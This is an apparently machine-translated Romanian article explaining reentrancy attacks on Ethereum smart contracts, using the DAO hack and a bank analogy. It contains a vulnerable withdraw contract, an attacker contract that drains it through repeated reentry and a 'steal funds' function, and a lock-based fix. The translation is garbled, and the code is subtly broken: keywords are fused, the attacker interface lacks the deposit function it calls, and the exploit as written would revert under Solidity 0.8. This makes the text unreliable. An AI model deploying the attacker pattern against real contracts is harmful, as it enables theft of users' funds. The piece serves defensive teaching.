Iată cum are loc unul dintre cele mai comune hack-uri de contracte inteligente care au costat milioane de milioane de companii Web 3...
Unele dintre cele mai mari hack-uri din industria blockchain, unde au fost furate jetoane de criptomonede în valoare de milioane de dolari, au rezultat din atacuri de reintrare. Deși aceste hack-uri au devenit mai puțin frecvente în ultimii ani, ele încă reprezintă o amenințare semnificativă pentru aplicațiile și utilizatorii blockchain.
Deci, ce sunt mai exact atacurile de reintrare? Cum sunt ele dislocate? Și există măsuri pe care dezvoltatorii le pot lua pentru a le împiedica să se întâmple?
Ce este un atac de reintrare?
Un atac de reintrare are loc atunci când o funcție vulnerabilă de contract inteligent efectuează un apel extern la un contract rău intenționat, renunțând temporar la controlul fluxului tranzacției. Contractul rău intenționat apelează apoi în mod repetat funcția originală a contractului inteligent înainte de a termina executarea în timp ce își drenează fondurile.
În esență, o tranzacție de retragere pe blockchain-ul Ethereum urmează un ciclu în trei pași: confirmarea soldului, remiterea și actualizarea soldului. Dacă un criminal cibernetic poate deturna ciclul înainte de actualizarea soldului, poate retrage în mod repetat fonduri până când un portofel este epuizat.
Unul dintre cele mai infame hack-uri blockchain, hack-ul Ethereum DAO, așa cum este acoperit de Coindesk, a fost un atac de reintrare care a dus la o pierdere de peste 60 de milioane de dolari în etică și a schimbat fundamental cursul celei de-a doua criptomonede ca mărime.
Cum funcționează un atac de reintrare?
Imaginează-ți o bancă în orașul tău natal unde localnicii virtuoși își păstrează banii; lichiditatea sa totală este de 1 milion USD. Cu toate acestea, banca are un sistem contabil defectuos – angajații așteaptă până seara pentru a actualiza soldurile bancare.
Prietenul tău investitor vizitează orașul și descoperă defectul contabil. Își creează un cont și depune 100.000 de dolari. O zi mai târziu, el retrage 100.000 de dolari. După o oră, face o altă încercare de a retrage 100.000 de dolari. Deoarece banca nu și-a actualizat soldul, acesta arată în continuare 100.000 USD. Deci el primește banii. Face asta în mod repetat până când nu mai rămân bani. Angajații își dau seama că nu sunt bani doar când echilibrează contabilitatea seara.
În contextul unui contract inteligent, procesul decurge după cum urmează:
- Un infractor cibernetic identifică un contract inteligent „X” cu o vulnerabilitate.
- Atacatorul inițiază o tranzacție legitimă către contractul țintă, X, pentru a trimite fonduri către un contract rău intenționat, „Y”. În timpul execuției, Y apelează funcția vulnerabilă din X.
- Execuția contractului lui X este întreruptă sau întârziată pe măsură ce contractul așteaptă interacțiunea cu evenimentul extern
- În timp ce execuția este întreruptă, atacatorul apelează în mod repetat aceeași funcție vulnerabilă în X, declanșând din nou execuția acesteia de cât mai multe ori posibil
- La fiecare reintrare, starea contractului este manipulată, permițând atacatorului să scurgă fonduri de la X la Y
- Odată ce fondurile au fost epuizate, reintrarea se oprește, execuția întârziată a lui X se finalizează în sfârșit, iar starea contractului este actualizată pe baza ultimei reintrari.
În general, atacatorul exploatează cu succes vulnerabilitatea de reintrare în avantajul său, furând fonduri din contract.
Un exemplu de atac de reintrare
Deci, cum s-ar putea produce din punct de vedere tehnic un atac de reintrare atunci când este implementat? Iată un contract inteligent ipotetic cu o poartă de reintrare. Vom folosi denumirea axiomatică pentru a fi mai ușor de urmărit.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
The Vulnerabil Contract permite utilizatorilor să depună eth în contract folosind depozit funcţie. Utilizatorii își pot retrage apoi eth-ul depus folosind retrage funcţie. Cu toate acestea, există o vulnerabilitate de reintrare în retrage funcţie. Când un utilizator se retrage, contractul transferă suma solicitată la adresa utilizatorului înainte de a actualiza soldul, creând o oportunitate de exploatare pentru un atacator.
Acum, iată cum ar arăta contractul inteligent al unui atacator.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Când atacul este lansat:
- The Contractul atacatorului ia adresa de la Vulnerabil Contract în constructorul său și îl stochează în vulnerabilContract variabil.
- The atac funcția este apelată de către atacator, depunând ceva eth în Vulnerabil Contract folosind depozit funcția și apoi apelând imediat retrage funcția de Vulnerabil Contract.
- The retrage funcţia în Vulnerabil Contract transferă cantitatea solicitată de eth către cea a atacatorului Contractul atacatorului înainte de a actualiza soldul, dar din moment ce contractul atacatorului este întrerupt în timpul apelului extern, funcția nu este încă finalizată.
- The a primi funcţia în Contractul atacatorului este declanșată deoarece Vulnerabil Contract a trimis eth la acest contract în timpul apelului extern.
- Funcția de primire verifică dacă Contractul atacatorului soldul este de cel puțin 1 eter (suma de retras), apoi reintră în Vulnerabil Contract denumindu-i retrage functioneaza din nou.
- Pașii trei până la cinci se repetă până când Vulnerabil Contract rămâne fără fonduri și contractul atacatorului acumulează o cantitate substanțială de eth.
- În cele din urmă, atacatorul poate apela retrage fondurile furate funcţia în Contractul atacatorului să fure toate fondurile acumulate în contractul lor.
Atacul poate avea loc foarte rapid, în funcție de performanța rețelei. Când se implică contracte inteligente complexe, cum ar fi DAO Hack, care a dus la bifurcarea dură a Ethereum în Ethereum și Ethereum Classic, atacul are loc în mai multe ore.
Cum să preveniți un atac de reintrare
Pentru a preveni un atac de reintrare, trebuie să modificăm contractul inteligent vulnerabil pentru a urma cele mai bune practici pentru dezvoltarea securizată a contractelor inteligente. În acest caz, ar trebui să implementăm modelul „verificări-efecte-interacțiuni” ca în codul de mai jos.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
În această versiune fixă, am introdus un este încuiat cartografiere pentru a urmări dacă un anumit cont este în curs de retragere. Când un utilizator inițiază o retragere, contractul verifică dacă contul său este blocat (!este blocat[msg.sender]), indicând că în prezent nu este în curs de desfășurare nicio altă retragere din același cont.
Dacă contul nu este blocat, contractul continuă cu schimbarea de stat și interacțiunea externă. După schimbarea stării și interacțiunea externă, contul este deblocat din nou, permițând retrageri viitoare.
Tipuri de atacuri de reintrare
În general, există trei tipuri principale de atacuri de reintrare în funcție de natura lor de exploatare.
- Atacul de reintrare unică: În acest caz, funcția vulnerabilă pe care atacatorul o apelează în mod repetat este aceeași care este susceptibilă la gateway-ul de reintrare. Atacul de mai sus este un exemplu de atac de reintrare unică, care poate fi prevenit cu ușurință prin implementarea unor verificări și blocări adecvate în cod.
- Atacul cu funcții încrucișate: În acest scenariu, un atacator folosește o funcție vulnerabilă pentru a apela o funcție diferită în cadrul aceluiași contract care împarte o stare cu cea vulnerabilă. A doua funcție, numită de atacator, are un efect de dorit, făcând-o mai atractivă pentru exploatare. Acest atac este mai complex și mai greu de detectat, așa că sunt necesare verificări și blocări stricte între funcțiile interconectate pentru a-l atenua.
- Atacul cu contracte încrucișate: Acest atac are loc atunci când un contract extern interacționează cu un contract vulnerabil. În timpul acestei interacțiuni, starea contractului vulnerabil este invocată în contractul extern înainte ca acesta să fie complet actualizat. De obicei, se întâmplă atunci când mai multe contracte împărtășesc aceeași variabilă și unele actualizează variabila partajată în mod nesigur. Protocoale de comunicare securizate între contracte și periodice audituri smart contract trebuie implementat pentru a atenua acest atac.
Atacurile de reintrare se pot manifesta sub diferite forme și, prin urmare, necesită măsuri specifice pentru a preveni fiecare.
A fi ferit de atacurile de reintrare
Atacurile de reintrare au cauzat pierderi financiare substanțiale și au subminat încrederea în aplicațiile blockchain. Pentru a proteja contractele, dezvoltatorii trebuie să adopte cele mai bune practici cu sârguință pentru a evita vulnerabilitățile de reintrare.
De asemenea, ar trebui să implementeze modele de retragere sigure, să folosească biblioteci de încredere și să efectueze audituri amănunțite pentru a întări și mai mult apărarea contractului inteligent. Desigur, a rămâne informat cu privire la amenințările emergente și a fi proactiv cu eforturile de securitate poate asigura că acestea mențin și integritatea ecosistemelor blockchain.